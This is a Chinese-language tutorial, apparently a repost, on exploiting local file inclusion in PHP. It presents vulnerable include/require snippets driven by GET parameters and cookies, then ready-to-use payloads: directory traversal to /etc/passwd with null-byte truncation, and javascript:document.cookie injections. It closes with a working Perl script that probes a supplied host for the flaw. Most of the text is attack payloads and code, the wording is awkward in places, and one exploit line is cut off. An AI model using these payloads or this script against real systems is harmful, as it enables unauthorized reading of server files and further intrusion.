==> [ 0x01 .-本地文件共享 ]
让我们看看有多少方法可以带来这些不同的程序、不同的行动,这是我们追求:
开放的心态。
[代码 #1]
x: >...
if (isset($_GET["mode"]))
{
if ($_GET["mode"]=="edit")
{
if (isset($_GET['id']))
{
$notefile = $_GET['id'];
if ($notefile == "new")
{
$title = "";
$notes = "";
}
else
{
$temp = "notes/" . $notefile;
require($temp);
}
x: <...
x: }}}
[ 结束代码 # 1 ]
这是最简单的例子,我们将拭目以待。正如我们没有太多很难理解它们的行为。
Exploit:
?mode=edit&id=../../../../../../../../../../etc/passwd
$temp = "notes/" . $notefile . ".php";
该漏洞将有一个“NULL字节”(%00h)结束连接。
Exploit:
?mode=edit&id=../../../../../../../../../../etc/passwd%00
~~~~~~~~~~~~~~~~~~~~~~~~~
我们进入第2个例子。代码很容易,不安全的Cookie处理。我想你们可能会问:是否在一个安全漏洞处理?我在这儿告诉你,没有!让我们看看一个例子。
[代码 #2]
if(!empty($_COOKIE['language']) && !isset($_SESSION['language'])){
$_SESSION['language'] = $_COOKIE['language'];
}
....
if(LANG == ""){
if(!isset($_SESSION['language'])){
include("lang/english/lang.php");
$_LANG = "english";
} else {
include("lang/".$_SESSION['language']."/lang.php");
$_LANG = $_SESSION['language'];
}
... }
[结束代码 #2]
Exploit:
javascript:document.cookie="language=../../../../../../../../../../etc/passwd%00; path=/";
正如我们看到的,我们必须添加NULL字节(%00h),为什么要这么做,这为了避免目录遍历。
~~~~~~~~~~~~~~~~~~~~~~~~
这个例子的情况非常相似例子2,只有这个时候我们有一个入侵者的函数'explode'的PHP。开放的心态,并认为想一个Hacker。
[代码 #3]
x: >...
if (isset($HTTP_COOKIE_VARS["userInfo"]) && $HTTP_COOKIE_VARS["userInfo"] != "") {
$userArray = explode(" ", $HTTP_COOKIE_VARS["userInfo"]);
$userName = $userArray[0];
$userID = $userArray[1];
$userLang = $userArray[2];
include("include/lang/$userLang/inc.messages.php");
}
x: <...
[结束代码 #3]
你应该知道,"$HTTP_COOKIE_VARS"还可以操纵用户,而不是“$ _COOKIE”打开...
概念验证(函数 'explode' PHP):
1)
String = JosS;
[0] = JosS;
[1] = ;
[2] = ; ---> INCLUDE
2)
String = JosS JosS JosS;
[0] = JosS;
[1] = JosS;
[2] = JosS; ---> INCLUDE
Exploit:
javascript:document.cookie="userInfo=JosS JosS ../../../../etc/passwd%00; path=/";
~~~~~~~~~~~~~~~~~~~~~~~~~~~
对于第4个例子也是最后一个例子,它的情况类似例子1,我们要利用'IF GETS' 更大的脆弱性来处理Cookie。
[代码 #4]
x: >...
if (isset($_GET["mode"]))
{
if ($_GET["mode"]=="edit")
{
if (isset($_GET['id']))
{
$notefile = $_COOKIE['note'];
if ($notefile == "new")
{
$title = "";
$notes = "";
}
else
{
$temp = "notes/" . $notefile;
require($temp);
}
x: <...
x: }}} www.2cto.com
[结束代码 #4]
我不会一步一步地解释这个代码。我们必须牢记我们的'$_COOKIE'
我们必须给予'IF'帮助我们,包括我们的'cookie'。因此,我们来利用这两个漏洞。
Exploit 1:
javascript:document.cookie="note=../../../../../../../../../../etc/passwd; path=/";
Exploit 2: ?mode=edit&id
==> [ 0x02.- Exploits ]
我要把它称为“自动化”,因为它们什么也不做更简化该进程并让用户感到舒适。例子是Perl编程,因为对这些案件对常用。让我们来看看代码。
[代码 #1]
use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
if (!$ARGV[0])
{
print "Usage: perl xpl.pl [HOST]\n";
print "Example: perl xpl.pl http://localhost/path/\n";
}
else
{
$web=$ARGV[0];
chomp $web;
$iny="vuln.php?vuln=../../../../../../../../../../../../../../../../etc/passwd%00";
my $web1=$web.$iny;
print "$web1\n\n";
my $ua = LWP::UserAgent->new;
my $req=HTTP::Request->new(GET=>$web1);
$doc = $ua->request($req)->as_string;
if ($doc=~ /^root/moxis ){
print "Web is vuln\n";
}
else
{
print "Web is not vuln\n";
}}
[结束代码 #1]
该Exploit非常简单,没有太多的未解之谜。我们使用了模块'LWP'使我们连接到Web。